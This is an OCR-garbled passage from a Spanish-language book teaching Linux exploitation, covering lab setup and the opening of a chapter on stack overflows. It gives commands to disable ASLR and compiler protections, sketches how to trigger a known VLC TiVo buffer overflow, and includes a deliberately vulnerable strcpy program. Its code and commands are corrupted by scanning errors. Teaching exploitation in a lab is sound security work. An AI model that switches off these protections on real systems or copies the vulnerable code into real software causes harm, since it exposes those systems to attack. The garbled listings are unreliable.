proteccion  espectficos  y  no  por  ello  han  dejado  de  ser  vulnerables  a  nuevos  metodos  desarrollados  por 
los  eoneienzudos  e  inagotables  exploiters.  Queremos  hacer  notar  que  si  su  intencion  es?  por  ejemplo, 
centrarse  en  el  analisis  y  explotacion  de  las  aplicaciones presenles  en  los sistemas  de  la  casa  Microsoft, 
le  introduciremos  en  los  coneeptos  basicos  del  exploiting  a  sabiendas  de  que  no  deberia  tener  mayor 
dificultad  en  extrapolar  las  tecnieas  a  su  entomo  de  trabajo.  Por  poner  un  claro  ejemplo,  la  evasion  de 
mecanismos  de  proteccion  de  pda  como  DEP  pueden  extrapolarse  a  partir  de  los  capitulos  presentados 
sobre  Return  to  Libc  y  las  tecnieas  de  Return  Oriented  Programming  o  ROP  que  mostraremos  mas 
adelante. 


0.1.  Requisitos  previos 

Asumiremos  a  lo  largo  de  este  tibro  que  el  lector  ya  posee  unos  conocimientos  b&sicos  en  el  lenguaje 
de  programacion  C  y  que  a  traves  de  las  references  mostradas  al  final  de  cada  capitulo  tambien  puede 
acceder  a  flientes  altemativas  que  le  faciliten  unos  conocimientos  teoricos  minimos  sobre  el  lenguaje 
ensamblador, 

Se  da  por  hecho  tambien  que  el  publico  hacia  el  que  va  orientado  el  libro  se  encuenlra  familiarizado 
con  los  entornos  Unix,  mas  concretamente  con  el  sistema  operative  GNU/Linux  y  con  las  herramientas 
disponibles  para  la  linea  de  comandos  o  la  shell  que  sea  de  su  preferencia. 

Cuando  se  haga  uso  de  los  interpretes  de  Perl  o  Python,  se  har£  evidente  que  la  sintaxis  es  auto- 
eomprensible  y  usted  no  encontrara  dificultad  alguna  en  asimilar  las  acciones  que  se  esten  realizando, 
de  todos  modes,  cualquier  manual  de  introduecidn  presente  en  la  red  puede  servirle  de  gran  ayuda. 

Por  lo  demas,  cada  capitulo  ira  incrementando  gradualmente  su  dificultad  en  las  tecnieas  conocidas 
dentro  del  mundo  del  exploiting  en  Linux,  procediendo  de  este  modo,  deberia  encontrarse  comodo 
siempre  y  cuando  tenga  la  paciencia  de  intentar  comprender  los  detal  les  mas  especificos  de  cada  tema, 
no  debiendo  precipitarse  hacia  tecnieas  mas  avanzadas  sin  haber  tornado  buena  conciencia  de  los 
coneeptos  previos.  No  tema,  el  unico  requisito  real  para  que  pueda  sacarle  el  mayor  parti  do  a  las 
siguientes  paginas,  es  una  indomable  curiosidad  y  un  vehemente  deseo  de  aprcndcr. 


0.2.  Un  pequeno  laboratorio 

No  es  la  intencion  del  autor  de  este  libro  que  el  lector  sufra  danos  en  sus  sistemas  ni  que  por  a  I  gun 
descuido  pueda  dejar  su  entorno  en  un  estado  vulnerable  (rente  a  ataques  externos.  Durante  el 
transcurso  de  los  capitulos  debera  compilar  y  configurar  una  multitud  de  programas  de  ejemplo 
vulnerables,  es  por  este  motive  que  la  recomendacion  principal  para  el  estudioso  con  ganas  de 
desarrollaT  los  problemas  aqui  descritos,  es  que  instale  un  sistema  operative  GNU/Linux  en  un  entorno 
virtual  izado  donde  no  pose  a  otra  in  for  mac  ion  mas  que  los  ejemplos  mostrados,  evitando  asi  que  su 
privacidad  pueda  ser  comprometida. 
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Aunque  cada  eual  es  libre  de  elegir  aquel  software  de  virtualization  con  el  que  haya  tenido  ya  aiguna 
experieneia  previa,  nosotros  recomendamos  para  tareas  seneillas  de  investigation  el  software 
Virtual  Box,  de  la  empresa  Oracle,  que  esta  disponible  gratuitamente  en  la  pagina  web  official  del 
produeto  y  cuya  faeilidad  de  uso  y  configuration  es  asombrosa.  VirtualBox  puede  instalarse 
indiferentemente  sobre  Linux,  Windows  o  Mac  OS  X,  esto  implica  que  listed  no  tiene  porque  cambiar 
su  entomo  de  trabajo  habitual. 

El  sistema  operativo  que  recomendamos  como  plataforma  de  testing  se  trata  de  la  ya  archiconocida 
distribution  Ubuntu,  basada  en  Debian,  que  lambidn  puede  obteuer  a  traves  del  repositorio  official,  eso 
si,  descargando  la  version  para  procesadores  de  la  familia  i386  de  Intel.  Cualquier  otra  distribucion 
sera  total mente  valida  para  las  pruebas,  simplemente  sc  trata  de  una  preferencia  personal,  de  unificar 
las  ideas  de  trabajo  y  de  facilitar  la  tarea  al  lector  menos  avezado. 


Imagen  00.01:  Software  de  virtual!  zaci6n  VirtualRox, 

Advertiremos  ah  ora  uno  de  los  detail  es  mas  importantes*  Las  implementaciones  modemas  del  sistema 
operativo  GNU/Linux,  inclusive  Ubuntu  o  cualesquiera  de  las  distribuciones  que  se  le  asemejen, 
vienen  configuradas  con  sistemas  de  protection  cuya  finalidad  es  evitar  en  la  medida  de  lo  posible 
algunas  de  las  tecnicas  presentadas  en  este  libro.  Dado  que,  como  ya  hem  os  men  cion  ado,  nuestro 
estudio  ser&progresivo  e  iremos  introduciendo  al  lector  desde  las  tecnicas  m&$  basicas  y  antiguas  hasta 
las  mas  complejas  y  modemas,  citaremos  ahora  ciertos  parametros  que  usted  dehera  establecer  para 
desactivar  estos  mecanismos  con  cl  unico  proposito  de  proceder  a  la  investigacion. 

Existe  un  mecanismo  dc  ateatorizacibn  de  directories  de  memoria  que  los  sistemas  modemos  utilizan 
para  evitar  que  un  atacante  pueda  predecir  la  position  de  ciertas  porciones  de  cbdigo  utiles  para  una 
explotacibn  exitosa.  Normal  mente  usted  podra  desactivarlo  a  traves  de  la  linea  de  comandos,  siempre 
que  posea  perm  i  sos  de  administrador  o  root,  mediante  la  siguiente  orden: 

#  echo  0  >  /proc/ sys/ kernel/ randomize  va  space 
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Puede  react! v arse  invocando  el  comando: 

i  echo  2  >  /proc/sys / kernel/ random! ze_va_space 

Otra  forma  de  desactivar  A  SLR  para  una  ejecucion  concrela  y  sin  perm  isos  de  root  es  la  siguiente; 

$  set arch  "arch"  -R  ./ejemplo  argumentos 

0  tambien: 

$  setarch  ' uname  -m ‘  -R  « /ejemplo  argumentos 

Obviamente,  la  aplicacion  setarch  utiliza  una  llamada de  sistema conocida  como  personality  ( )  que 
dejar  a  este  comando  sin  efecto  para  I  os  prog  ram  as  que  tengan  el  bit  setuid  habilitado. 

Para  desactivar  los  mecanismos  de  proteccion  que  previenen  la  ejecucion  de  codigo  en  una  zona  de 
memoria  especial  conocida  como  stack  o  pila  y  el  estableeimiento  de  ciertos  cheque  os  ante  fiinciones 
que  manejan  movimientos  de  datos  en  buffers,  debera  compilar  los  ejemplos  de  este  libro,  salvo  que 
sc  indique  lo  eontrario,  de  la  siguiente  forma: 

$  gcc  ^fno-stack-protector  ^D_FORTIFY_SOURCE=0  -z  norelro  -z  ezecstack  ejempio.C 
e ] emp 1 o 

Sea  consciente  de  que  hemos  preparado  varios  capitulos  dedi cades  exclusivamente  a  sortear  algunas 
de  estas  protectories.  Sientase  lib  re  por  lo  tanto,  y  solo  en  dichos  ejemplos,  de  compilar  los  pro  gram  as 
sin  ninguna  option  especial.  Esto  se  ira  viendo  a  medida  que  avancemos  en  maestro  e studio. 


0.3.  El  mundo  real 

Quizas  pueda  preguntarse,  a  medida  que  va  adentrandose  en  los  oscuros  rincones  del  libro  que  tiene 
entre  sus  manos,  por  que  el  autor  no  ha  presentado  estudios  completos  sobre  casos  reales.  La  respuesta 
es  relativamente  sene  ill  a,  nuestra  intention  es  ofrecer  a  I  publico  una  gu  la  introductoria  de  las  tecnicas 
de  exploiting  disponibles  en  entomos  Linux.  Para  facilitar  el  proceso  de  aprendizaje,  utilizaremos 
fragmentos  de  codigo  representatives  de  las  vulnerabilidades  mas  comunes  dentro  del  software  actual. 
Eliminando  todos  los  elementos  artificiosos  o  que  empanan  lo  que  realmente  deseamos  mostrar,  usted 
comprendera  con  mayor  rapidez  los  errores  mas  frecuentes  cometidos  por  los  program  ad  ores,  as!  como 
las  tecnicas  a  su  alcanee  para  tomar  control  sobre  dichos  fa  I  los  y  las  diferentes  medidas  de  seguridad 
que  deberian  adoptarse  para  evitarlos.  La  base  de  estos  errores  no  ha  cam bi ado  ni  cambiara  por  mucho 
tiempo,  de  modo  que  todo  lo  que  el  lector  aprenda  le  servira  en  el  mundo  real  para  analizar  multitud 
de  aplicaciones  y  desen  vol  verse  ante  cualquier  problema  a  I  que  pueda  verse  sometido. 

No  obstante,  introduzcamos  algun  ejemplo  para  que  comprenda  el  alcance  de  nueslras  palabras. 
Pongamos  por  caso  la  multitud  de  vulnerabilidades  que  el  conocido  investigador  de  seguridad  Ruben 
Santamaita  ha  descubierto  a  lo  largo  de  los  u  him  os  anos  en  la  fames  a  aplicacion  de  reproduce  ion  de 
contenidos  multimedia  Quicktime.  El  nucleo  de  dichos  fallos  de  seguridad,  buffer  overflows,  integer 
overflows,  heap  overflows,  son  elementos  que  nosotros  detallaremos  metodicamente  desde  aqui  has  La 
el  final  del  libro.  En  cambio,  existen  componentes  extemos  que  eneapsulan  dichas  vulnerabilidades  y 
que  requeririan  otro  manual  entero  para  su  comprension.  Por  ejemplo,  si  la  vulnera  bill  dad  requiere 
que  el  atacante  o  investigador  disene  un  archive  de  imagen  PICT  especialmente  manipulado  para 
provocar  el  fallo  o  que  se  eree  un  fichero  .mov  malicioso  con  un  parametro  especial  que  desencadene 
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un  desbordamiento  de  buffer,  nosotros  no  estamos  oti  disposicion  de  explicar  al  publico  los  formates 
especi  fleas  de  esta  clase  de  archives,  asi  como  tampoco  tenddamos  tiempo  de  explicar  el  formato 
intemo  de  un  fichero  PDF  para  explotar  un  heap  overflow  en  el  famoso  lector  Adobe  Reader. 

Pondremos  para  terminar  un  ultimo  ejemplo  mas  espedfico.  Existe  una  vulncrabilidad  ampliamente 
conocida  en  la  version  0.9.4  del  software  de  reproduction  multimedia  VideoLan  (VLCf  Se  trata  de 
un  buffer  overflow  hallado  en  el  siguiente  firagmento  de  codigo  de  la  funcion  parse  masrer  o  que 
maneja  los  ficheros  con  formato  TiYo. 

uint8_t  mst_buf [32 ] ; 

i-.fj 

atream Read  fp demux->s ,  mst buff  8  +  i  map^size] 


Nota 


Listed  no  tiene  la  necesidad  de  comprender  todos  los  detail es  que  citaremos  a  continuacion, 
Esa  es  precisamente  la  finalidad  del  libro  que  tiene  entre  sus  manos,  tan  solo  estamos 
ilu strand o  una  faceta  del  exploiting  en  un  entomo  real. 


Tania  p_denmx->5  como  imapsize  son  valores  control  ados  por  el  usuario,  Como  se  puede 
comprobar,  si  ei  valor  entero  i  map  size  es  superior  a  24  se  producira  un  desbordamiento  de  buffer 
en  mst  buf  [32],  sobrescribiendo  asi  datos  de  control  en  la  memoria  con  el  contenido  ubicado  en  el 
Stream  p_demux->s  que  nos  permit!  ra  redirigir  el  flujo  de  control  hacia  un  codigo  especialmente 
disefiado* 

Para  desencadenar  este  bug,  el  exploiter  debera  conducir  el  flujo  de  la  aplicacion  a  traves  de  las 
fimeiones  demux  o  ,  get  chunk  header  u  y  finalmente  parse_master  { ) .  Para  ello  cream  un  fichero 
TIVo  malicioso  que  contenga  una  cabecera  tivo_pes_fileid  (F5  4  6  7a  bd)  en  cuyo  offset  Qxi4 
estara  contenido  el  entero  i  map  size  manipulado. 

El  atacante  tiene  la  opcion  de  crear  un  fichero  con  el  formato  especi  ficado  desde  cero,  o  mas  facil 
todavia,  descargarse  de  la  red  una  muestra  existente  y  manipular  los  valores  correctos.  Luego  la 
funcion  stream_Rea&o  provoeara  el  stack  overflow  y  el  atacante  normalmente  hara  uso  de  un 
depurador  o  debugger  para  control ar  que  datos  exaetos  son  los  que  sobrescribeti  la  direccion  de  retomo 
de  la  funcion  vulnerable. 

Si  nos  dirigimos  al  nucleo  del  error,  nos  daremos  cuenta  de  que  el  usuario  puede  introducir  datos 
arbitrarios  a  un  programa  y  aprovechar  una  debil  conflanza  del  programador  para  exceder  la  capacidad 
de  un  buffer  y  provocar  comportarnientos  no  deseados. 

No  tenemos  tiempo  para  detenernos  a  explicar  el  formato  de  un  fichero  TiVo,  ni  tampoco  que 
condiciones  tienen  que  ser  sorteadas  en  este  ejemplo  espedfico  antes  de  alcanzar  la  porcion  de  codigo 
vulnerable;  pero  descuide,  a  lo  largo  de  este  libro  le  enseharemos  d  orjgen  y  como  aprovechar  estos 
fall  os  de  seguridad  en  una  infinidad  de  formas. 

En  resum  Idas  cue  ntas,  listed  utilizara  todos  los  conocimientos  adquiridos  durante  la  lectura  de  esta 
guia  para  extrapolar  las  tecnicas  a  eada  aplicacion  vulnerable  en  cuestion.  Nuestra  intencion  es  dejar 
claro  que  explotar  un  fallo  en  un  entomo  real  no  tiene  por  que  ser  intrinsecamente  mas  complejo,  sino 
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que  requeriri  de  una  mayor  paciencia  y  irn  anal i sis  mas  detail  ado  de  los  elementos  espedficos  que 
escapan  al  ambito  de  este  manual. 

0.4.  Wargames:  Plataforma  de  aprendizaje 

Si  buscamos  la  palabra  wargame  en  nuestro  buscador  favorito,  por  ejemplo  Google  o  Bing, 
obtendremos  entre  Jos  primeros  enlaces  una  referenda  a  la  archiconocida  Wikipedia  con  el  titulo  de: 
Juegos  de  Guerra,  Un  extracto  de  la  definicidn  ofreeida  es  el  siguiente: 

"Un  juego  de  guerra  es  aquel  que  recrea  un  mfrentamiento  armada  de  cualquier  nivel  (de 
escaramuza t  tdctico,  operational,  estrategico  o  global)  con  reglas  que  implementan  cierta 
simulacion  de  la  tec  no  log  ia,  estrategiay  organizacion  militar.„ 

Ex  una  simulacion  de  com  bate  o  acci/m  belie  a,  ya  sea  coma  un  juego  de  mesa,  coma  un 
videojuego.  o  como  una  rec reacid n  real.  ” 

La  palabra  Wargames  nace  como  el  titulo  de  una  pelicula  publicada  d  3  de  junio  del  ano  1983  en 
Estados  Unidos,  del  director  John  Bad  ham  y  cuyo  argumento  es  el  siguiente: 

“A  David  Light  man,  estudiante  de  diecisiele  anas,  le  han  suspend/ do  varias  asignaturas, 
pero  hacienda  uso  de  su  gran  habilidad  con  las  computadoras,  logra  cambiar  las  not  as  y 
aprobar  el  curso.  Un  dla,  j  Uganda  con  su  mdquina ,  David  entra  en  cant  ado  con  Joshua T 
la  computadora  del  Departamento  de  Defens  a  de  los  Estados  Unidos,  y  decide  jugar  a  la 
guerra.  El  muchacho  ere e  que  solo  es  un  juego  mas  pero,  sin  dorse  enema,  desafia  a 
Joshua  a  un  escal of ri ante  juego  de  guerra  termonuclear  mundial.  Entre  las  dos  maqumas 
planean  desplegar  todas  las  estraiegias  y  ope /ones  para  una  Tercera  Guerra  Mundial  q  ue 
esta  a  pun  to  de  convert  irse  en  realidad \  ” 

Aunque  los  hackers  han  existido  desde  mucho  tiempo  atras,  puede  deeirse  que  esta  idea  plasmada  en 
la  gran  pantalla  de  un  joven  entra n do  en  los  ordenadores  de  las  agencias  mas  poderosas  del  mundo 
desde  el  PC  de  su  prop!  a  casa,  provoco  el  boom  mas  grande  de  tod  os  los  tiempos,  una  de  las 
revolueiones  m&s  sonadas  dentro  del  desarrollo  de  la  era  tecnologiea. 

Otras  peliculas  han  vis  to  la  luz  hasta  el  dia  de  hoy  mostrando  un  concepto  mas  o  menos  ideal  de  lo 
que  un  hacker  puede  haeer,  entre  ellas  tenemos  a  “Hackers”  (1995)  de  Lain  Softley,  “El  asallo  final 
(Hackers  2:  Operacion  Takedown)”  (2000)  de  Joe  Chappelle  sobre  la  historia  y  caza  del  famoso  hacker 
Kevin  Mitnick,  “Antitrust”  (2001)  de  Peter  Howitt  mostrando  la  lucha  entre  el  supuesto  monopolio  de 
las  empresas  que  crean  software  propietario  y  aquel  los  que  apoyan  y  divulgan  la  fllosofia  del  software 
libre.  e  incluso  “The  Matrix”  ( 1 999)  de  los  hermanos  W achowski,  que  muestra  en  forma  extrema  como 
hackear  un  sistema  “desde  dentro”. 

La  mayoria  de  las  escenas  mostradas  en  estas  peliculas  no  son  solo  fieticias,  si  no  del  todo  irreales,  ya 
que  muestran  una  idea  fantastica  y  distorsionada  de  lo  que  el  hacking  significa  en  realidad.  No 
obstante,  la  idea  de  juego  y  de  reto  esta  inmersa  en  todas  ellas,  y  es  lo  que  ha  dejado  hue  I  la 
posteriomiente  en  muchos  de  los  espectadores  que  en  un  future  han  buscado  su  eamino  dentro  de  las 
inmen sas  redes  de  la  in  form  adorn 
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Sea  como  fuere,  no  es  sine  desde  la  primera  pelicula  nombrada,  euando  la  idea  de  crear  un  juego  de 
hacking  es  visto  como  algo  promeledor.  La  idea  basiea  reside  en  construir  un  rcto  simulando  una 
posible  situacion  real,  en  la  que  cualquier  persona,  y  entre  ellos  los  hackers  en  primer  lugar,  pueden 
demostrar  sus  habilidades  sin  incurrir  en  ningun  ineumplimiento  legal  que  pueda  ser  castigado  o 
incluso  penado  con  la  carcel. 

Los  wargames  o  juego s  de  guerra  orientados  a  la  intormatica  constituyen  una  fuente  inagotable  de 
diversion  y  aprendizaje.  En  opinion  del  autor  de  estas  lineas  son,  de  hecho,  un  camino  hacia  el  hacking 
real.  Aquella  persona  eapaz  de  abstraer  el  fondo  intelectual  de  cada  pmeba  podra  superar  las  mismas 
dificultades  en  un  entomo  real,  como  por  ejemplo  una  auditoria  de  seguridad  o  incluso  un  pentesting. 

Por  io  tanto,  y  como  complement  a  los  capitulos  de  este  libro,  iremos  resolviendo  varies  retos 
asociados  a  ias  tecnicas  detalladas  y  que  pueden  encontrarse  en  paginas  como  smashthestack.org  y 
exploit-exercises,  com.  Ademas,  dedicaremos  el  primer  Apendice  de  esta  guia  practice  para  demostrar 
todas  las  soluciones  a  un  conjunto  de  pruebas  muy  interesantes  que  consideramos  constituyen  el  bagaje 
basico  de  todo  principiante  en  explotacion  de  vulnerabilidades  en  sistemas  de  tipo  Unix. 

Deseamos  fervientemente  que  el  lector  pierda  su  miedo  y  se  atreva  a  desarrollar  todas  las  pruebas  por 
su  cuenta,  investigando  todo  el  material  que  sea  necesario  para  la  superacion  de  los  retos  y  estudiando 
esta  guia  como  un  metodo  de  formacion  eficientemente  organizado. 
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Stack  Overflows:  Un  Mai  Interminable 


Stack  Overflow,  su  mem  mention,  tan  comtin  hoy  en  dia,  todavia  provoca  temores  en  los  circulos  de 
programadores  y  empresas  de  software  con  mas  renombre,  que  conocen  y  temen  las  habihdades  que 
los  hackers  poseen  para  aprovecharse  de  esta  elase  de  vulnerabilidades  y  com  prometer  asi  nnos 
sistemas  que  a  primera  vista  parecen  infalibles.  Pero...  £que  son  estos  f alios?,  £como  obtener  un 
beneficio  de  ellos?,  ^cbmo  protegerse?  Todos  estos  interrogantes  estan  a  punto  de  ser  resueltos. 

1.1.  iQue  es  un  buffer  overflow? 

Lenguajes  de  programacion  como  C  o  C++  son  la  base  sobre  la  que  se  sustentan  casi  todos  los  sistemas 
operatives  modemos  existentes  hoy  en  dia,  mas  todavia  cnando  hablamos  de  distribuciones  basadas 
en  el  kernel  de  Linux.  Entre  los  circulos  de  programadores,  C,  desarrollado  en  el  ano  1972  por  Dennis 
Ritchie,  e$  considerado  como  un  lenguaje  de  nivel  medio-bajo,  no  por  su  calidad,  sino  por  el  hecho  de 
que  se  acerca  mas  a  la  interactuaeibn  real  con  la  propia  maquina,  atendiendo  a  muchos  detalles 
relativos  a  la  memoria  y  no  abstrayendose  de  las  capas  mas  bajas  del  hardware. 

Desarroilaremos  ahora  una  breve  analogia  que  favorezea  la  comprension  del  lector  no  iniciado. 
Pensemos  en  un  vaso,  un  vaso  en  el  cual  tenemos  la  capacidad  de  ahadir  agua,  vino,  etc...  Iambi  en 
tenemos  la  capacidad  para  vaciarlo  y  volver  a  anadir  nuevos  liquidos  pero,  en  ultima  instancia,  tenemos 
la  capacidad  y  el  poder  para  desbordarlo.  i,Qu6  sueede  cuando  este  se  desborda?  Lo  previsto,  las 
consecuencias  son  nefastas. 

En  ambientes  de  programacion  succden  hechos  similares,  solo  que  estos  vasos  son  mas  conocidos  eon 
el  nombre  de  matrices,  arrays,  o  buffers.  Cuando  se  declara  un  buffer  con  un  tamaho  prefijado,  y  luego 
no  se  controla  la  cantidad  de  elementos  que  en  el  son  introducidos,  se  produce  un  desbordamiento,  lo 
que  en  idiom  a  anglosajon  se  traduce  como  buffer  overflow. 

He  aqui  otra  lista  de  sinonimos  utilizados  durante  anos  en  distintas  fuentes  para  referirse  al  mismo 
problema: 

Buffer  overrun 
Stack  overrun 
Stack  smashing 

Seri'a  realmente  complicado  establecer  o  concluir  la  fecha  exacta  en  que  las  corrupciones  de  memoria 
comenzaron  a  ser  explotadas.  Lo  que  si  sabemos  son  dos  hechos  de  suma  relevaucia:  el  primero  es  que 
en  1988,  mas  concretamente  el  dia  2  de  noviembre,  el  famoso  gusano  de  Robert  Tappan  Morris  (Morris 
Worm  o  The  Internet  Worm)  provoco  en  tan  solo  unas  pocas  horas  que  eerca  de  6,000  ordenadores 
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dejasen  de  funcionar.  Para  la  epoca  eso  suponia  en  10%  de  todas  las  maquinas  conectadas  a  la  red,  y 
se  presume  que  algimos  sistemas  de  computo  de  la  NASA  se  encontraban  incluidos  en  dicho 
porcentaje.  Este  hecho  sin  precedentes  fue  debido  precisamente  a  un  desbordamiento  en  el  demon io 
f  ingerd,  que  inieializaba  un  buffer  a  traves  de  la  ftmcion  gets  ( }  sin  control  at  la  longitud  de  los  datos 
que  llegaban  a  traves  de  la  red.  Un  joven  de  tan  solo  23  afios  habia  causado  perdidas  del  orden  de  los 
96.000  millones  de  dolares. 


Nota 


Otros  gusanos  modernos  como  Code  Red  (2001),  Blaster  (2003)  o  Slammer  (2003)  ban 
sido  posibles  debido  a  la  explotacion  exitosa  do  buffer  overflows  en  aplicaciones  como 
HS,  Microsoft  SQL  Server  o  el  servicio  DCOM  de  los  sistemas  operatives  Windows. 


El  segundo  gran  acontecimiento  se  produjo  en  1996,  cuando  Elias  Levy,  antiguo  moderador  de  la 
famosa  lista  de  vulnerabilidades  Bugtrack,  cofundador  de  la  eompama  SecurityFocus  y  mas  conocido 
por  so  apodo  o  nick  Aleph-One  (Alephl),  escrihio  el  archiconocido  articulo  sobre  stack  overflows 
“Smashing  the  Stack  for  Fun  and  Profit”,  publicado  por  primera  vez  en  el  numero  49  de  la  prestigiosa 
revista  de  hacking  Phrack.  Dicho  documento  se  constituyd  como  la  primera  investigaeion  didactica 
sobre  como  sacar  partido  de  aplicaciones  vulnerables,  punto  a  partir  del  cual  salieron  a  la  luz  cientos 
de  fallos  de  programacion  que  hasta  el  momento  habian  permanecido  ocultos, 

Lo  cierto  es  que  la  era  de  la  computacion  moderna  y  las  ex  tens  as  e  inagolables  fu  elites  de  inform  acidn 
ban  venido  a  confirmar  que  este  heeho  se  sigue  produciendo  en  los  sistemas  y  aplicaciones  mas 
recientes  que  el  lector  utiliza  en  su  terminal  movil,  en  su  tableta  digital  con  Android  o  iOS,  y  en 
millones  de  dispositivos  que  l  lev  an  embebidos  sistemas  ope  rati  vos  tipo  Unix.  Nombramos  a 
conti nuacion  algunas  de  las  cuales  deberian  serle  perfectamente  fami Hares  al  lector: 

-  Java 

Adobe  Reader  /  Acrobat 

-  Microsoft  Office 

-  Adobe  Flash 

-  OpenOffice  y  LibreOffice 

-  Adobe  Shockwave 

-  QuickTime 

-  i  Tunes 

-  Winamp 

Podria  el  autor  procurar  incrementar  su  interes  hablando  de  porcentajes  y  escandalosas  cifras  sobre  la 
cantidad  de  inyecciones  de  codigo  arbitrario  que  se  descubren  y  son  aprovechadas  cada  ano,  pero  tal 
vez  sea  mas  conveniente  remitir  al  lector  y  aeonsejarle  que  se  suscriba  a  la  excelente  e  ineansable 
newsletter  Una-al-dia  de  la  empresa  Hispasec  Sistemas,  y  permitir  asi  que  cada  uno  pueda  reeabar  sus 
propias  eonclusiones. 
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una-af  dia  (06/08/2013)  Ejecudon  de  codigo  en  iPhone  a  trav£s  de  USB  y  Apps  maficiosas 

noticf^l^h-ispjs ec.com  ffLotrctai^hispasec.con'1)  Agregiar  eontacto  57/03 

Pars  unaskfia^j-tf.hjspa-sec.cqrri; 

- BEGIN  PGP  SIGNED  MESSAGE . 

Hash:  SHAi 

| 

Hispaset  -  una-al-dfa  06/08/2013 

Todos  los  dias  una  notida  de  sequridad  www.hisDaseccom 

Slquenos  en  Twitter  htto://Lwitterrcom/unaaldia 

Notiria  en  fomnato  HTML  http://www.hi SDaseccom/una3!dia/S400 

Ejecucidn  de  eddigo  en  iPhone  a  traves  de  USB  y  Apps  maliciosas 

Una  nueva  ediddn  del  certamen  de  seguridad  informatics  por  exedenda 
ha  terminado  estos  dias,  y  del  nutrido  grupo  de  presentaciones,  una  de 
las  que  ha  ten  id  o  bastante  eco  en  los  medios  ha  sido  la  demostradon 
publics  de  una  vulnerabilidad  que  pemiitiria  la  ejecud6n  de  codigo  en 
term  inales  iPhone  a  trav£s  de  USB,  que  afectarfa  a  todas  sus  versiones, 
induida  iOS  7  (aunque  s6Io  hasta  la  beta  2).  Tambien  se  anunoo  una 
segunda  vulnerabilidad  con  impacto  similar  a  travfe  de  aplicadones  que 
efuden  la  sandbox  de  iOS. 

MACTANS:  una  vulnerabilidad  en  los  perfiles  USB  de  iOS 

Irnagen  01.01:  Notirias  de  seguridad  informatica  de  una-af-dla. 


Si  desea  obtener  mas  datos  sobre  ei  estado  actual  del  “negocio”,  le  mantendremos  cn  vilo  hasta  el 
capital o  10  y  relataremos  solo  a  modo  de  introduce! on  la  siguiente  anecdota:  euando  el  grupo  de 
hackers  de  la  empresa  francesa  Vupen  logro  romper  la  seguridad  del  navegador  web  Chrome,  debienda 
para  ello  sortcar  multi  tad  de  protecciones  explotando  di  versos  failos  de  seguridad,  rehuso  el  pago  de 
60.000  do! ares  por  parte  de  Google  a  cambio  de  los  detalles  de  la  vulnerabilidad  eontestando  con  la 
siguiente  frase: 

“No  compartiriamos  esto  con  Google  ni  por  un  millon  de  dolares.  No  deseamos 
propo r c ionarles  conocimiento  alguna  que  les  ayude  a  solucionar  este  exploit  u  otros 
stm  dares.  Preferimos  mantenerlo  para  nuestros  propios  clientes" 


Chaouki  Bekrar 

Creemos  que  esto  es  mas  qae  suflciente  para  fomentar  el  animo  de  aquellos  quienes  deseen  descubrir 
los  maravillosos  secretes  que  se  eseonden  detras  de  estas  inquietantes  vulnerabilidades. 

Sea  culpa  de  la  arquitectura,  el  disefio  de  los  sistemas,  los  lenguajes  de  programacion  como  C  o  C++, 
o  el  desconocimiento  de  algunos  programadores  perezosos,  concluimos  que  un  buffer  overflow^  se 
produce  euando  los  datos  proporcionados  a  un  programa  son  capaces  de  excedcr  el  I  (mite  de  un  espacio 
de  almacenamiento  dado  y  sobreeseribir  datos  o  estructuras  que  intervienen  en  el  control  del  flujo  de 
ejecucion,  pudiendo  asi  un  atacante  redirigir  el  misrno  hacia  un  codigo  de  su  eleccion  o  provocar  el 
malfuncionamiento  de  la  aplicacion. 
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1.2.  Fallos  de  segmentation  (DoS) 

Un  fallo  de  segmentation,  tambien  conocido  como  violation  de  segmento,  se  produce  cuando  una 
aplicacion  intenta  acceder  a  una  direceidn  de  memoria  que  no  ha  sido  asignada  (mapeada)  dentm  del 
espacio  de  direcciones  reservadas  al  proceso.  Cuando  esto  oeurre,  el  programa  deja  de  funcionar 
correctamente  y  se  produce  una  de  negation  de  servicio  o  DoS,  esto  puede  ser  fruto  de  un  deseuido  o 
de  un  ataque  no  controlado. 

Nos  ceniremos  a  un  seneillo  ejemplo  que  aclare  nuestra  argumentation.  Dedique  unos  segundos  a 
comprender  el  fragmento  de  codigo  del  programa  que  mostramos  en  el  listado. 

^include  <string.h> 

#inclnde  cstdio  ,h> 
void  func (char  *arg) 

{ 

char  nombre [32] ; 
strcpy (nombre,  arg) ; 

printf  {  " \nBienvenido  a  Linux  Exploiting  %s\n\nTI ,  nombre); 

} 

int  main(int  argc,  char  *argv[l) 

{ 

if  (  argc  1=  2  )  { 

printf  ("Use:  %'s  NOMBRE \n,T ,  argv[0]  )  ; 
exit (0 ) ; 

) 

func (argv [1] ) ; 

printf ("Fin  del  programa \n \nT' )  ; 
return  0; 

2 

Este  programa  admite  como  unico  parametro,  una  cadena  que  sera  proporcionada  como  argumento  a 
la  func  ion  func  < ) .  Una  cadena  o  string,  en  cl  lenguaje  de  programacidn  C,  se  define  como  un  array  de 
caracteres  que  termina  siempre  en  un  byte  null  (\ 0).  La  direccion  del  array  siempre  apunta  al  primer 
casicter  almacenado  cn  el  mismo.  que  como  ocurre  nomnalmente  en  ambientes  de  programacion,  tiene 
un  indite  cero. 

En  caso  de  que  el  usuario  pro  pore  i  one  un  argumento  a  traves  de  la  line  a  de  comandos,  la  aplicacion  lo 
mterpretara  como  un  nombre.  1  magi  nemos  entonces  que  el  usuario  invoca  la  orden  .  /  prog  mi  nombre, 
luego  el  programa  llamara  a  una  funcion  func  ( >  que  a  su  vez  ejecuta  la  llamada  de  libreria  strcpy  ( ) , 
y  la  cadena  minombre  es  copiada  en  el  buffer  nombre  [j  para  flnalmente  ser  impreso  por  pantalla, 
previamente  atom  pah  ado  de  un  agradable  mensaje.  Cuando  func()  retoma,  main  ( )  imprime  un 
ultimo  mensaje  indicando  la  finalization  del  programa. 

El  error  radica  en  la  confianza  del  programador  a  la  bora  de  apostar  por  que  el  usuario  habitual 
introducira  un  nombre  de  longitud  inferior  a  32  caracteres,  en  cuyo  caso  el  programa  se  ejeeutara  del 
modo  correcto.  Pero  un  atacante  malicioso  podria  entregar  al  programa  una  cadena  rnucho  mas  larga 
que  desestabilizaria  la  ejecucion  normal  del  mismo.  Vea  en  la  figura  un  uso  legitimo  del  programa 
frente  a  un  abuso  o  simple  error  por  parte  del  usuario. 
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biackivgel(3>bbG  ~ 

btackngel@bbc:~$  gcc  -frio-stack -protector  -z  execstack  prog.c  -o  prog 
blackngel@bbc:~$  ./prog  blackngel 

Btenventdo  a  Linux  Exploiting  blackngsl 

Fin  del  prog rama 

blatkngel@bbc : -$ 
blackngel^bbc : 
blackngel@bbc 
blackngel@bbc :~$ 

